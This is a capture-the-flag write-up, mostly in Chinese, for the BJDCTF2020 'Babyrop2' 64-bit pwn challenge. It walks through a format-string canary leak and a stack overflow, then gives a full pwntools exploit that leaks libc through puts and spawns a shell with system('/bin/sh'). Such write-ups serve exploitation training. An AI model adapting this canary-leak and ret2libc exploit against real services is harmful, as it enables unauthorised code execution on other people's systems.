BJDCTF2020 Babyrop2
最近这段时间应该会陆陆续续补上以前做的pwn题的wp,再来复习一下
Involved Knowledge
- Format String
- Stackoverflow
- ret2libc
Checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
64位,开启了Canary(金丝雀)和NX(堆栈不可执行),那么如果有canary的话,我们在进行rop时首先就是要泄露canary
Analyze
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
gift();
vuln();
return 0;
}
main函数里面依次执行三个函数init()
,gift()
,vuln()
,依次跟进
init()
unsigned __int64 init()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts("Can u return to libc ?");
puts("Try u best!");
return __readfsqword(0x28u) ^ v1;
}
setvbuf进行了初始化了输入输出流该如何缓冲,将缓冲置零
gift()
unsigned __int64 gift()
{
char format[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("I'll give u some gift to help u!");
__isoc99_scanf("%6s", format);
printf(format);
puts(byte_400A05);
fflush(0LL);
return __readfsqword(0x28u) ^ v2;
}
__isoc99_scanf("%6s", format); printf(format);
这里有format string,我们可以尝试泄露出canary,通过gdb找到canary的偏移
unsigned __int64 vuln()
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Pull up your sword and tell me u story!");
read(0, buf, 0x64uLL);
return __readfsqword(0x28u) ^ v2;
}
这里是个stackoverflow,buf只有0x18大小,但是read的长度是0x64,我们可以在这里写ropchain
分析到这里结束
我们拿到canary后在rop时把canary放到它原来的位置上就行,后面跟上了p64(0)是因为还有8个字节才覆盖到返回地址,然后打ropchain
EXP
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
from pwn import *
from LibcSearcher import *
context(os = 'linux' , arch = 'amd64' , log_level = 'debug')
local = 1
if local == 0:
io = remote('1.14.71.254' , 28377)
else:
io = process('/mnt/c/Users/M1sceden4/Desktop/pwn/babyrop2_bjdctf_2020')
elf = ELF('/mnt/c/Users/M1sceden4/Desktop/pwn/babyrop2_bjdctf_2020')
io.recvuntil("I'll give u some gift to help u!\n")
payload = b'%7$p'
io.sendline(payload)
canary = int(io.recv(18) , 16)
success('canary = ' + hex(canary))
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = elf.sym['main']
pop_rdi_ret = 0x0000000000400993
ret = 0x00000000004005f9
vuln = elf.sym['vuln']
payload = b'a' * (0x20 - 0x8) + p64(canary) + p64(0) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.recvuntil('Pull up your sword and tell me u story!\n')
io.sendline(payload)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
success('puts_addr = ' + hex(puts_addr))
libc = LibcSearcher('puts' , puts_addr)
libc_base = puts_addr - libc.dump('puts')
success('libc_base = ' + hex(libc_base))
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
success('system = ' + hex(system))
success('bin_sh ' + hex(bin_sh))
payload = b'a' * (0x20 - 0x8) + p64(canary) + p64(0) + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
io.recvuntil("I'll give u some gift to help u!\n")
io.sendline('1')
io.recvuntil('Pull up your sword and tell me u story!\n')
io.sendline(payload)
io.interactive()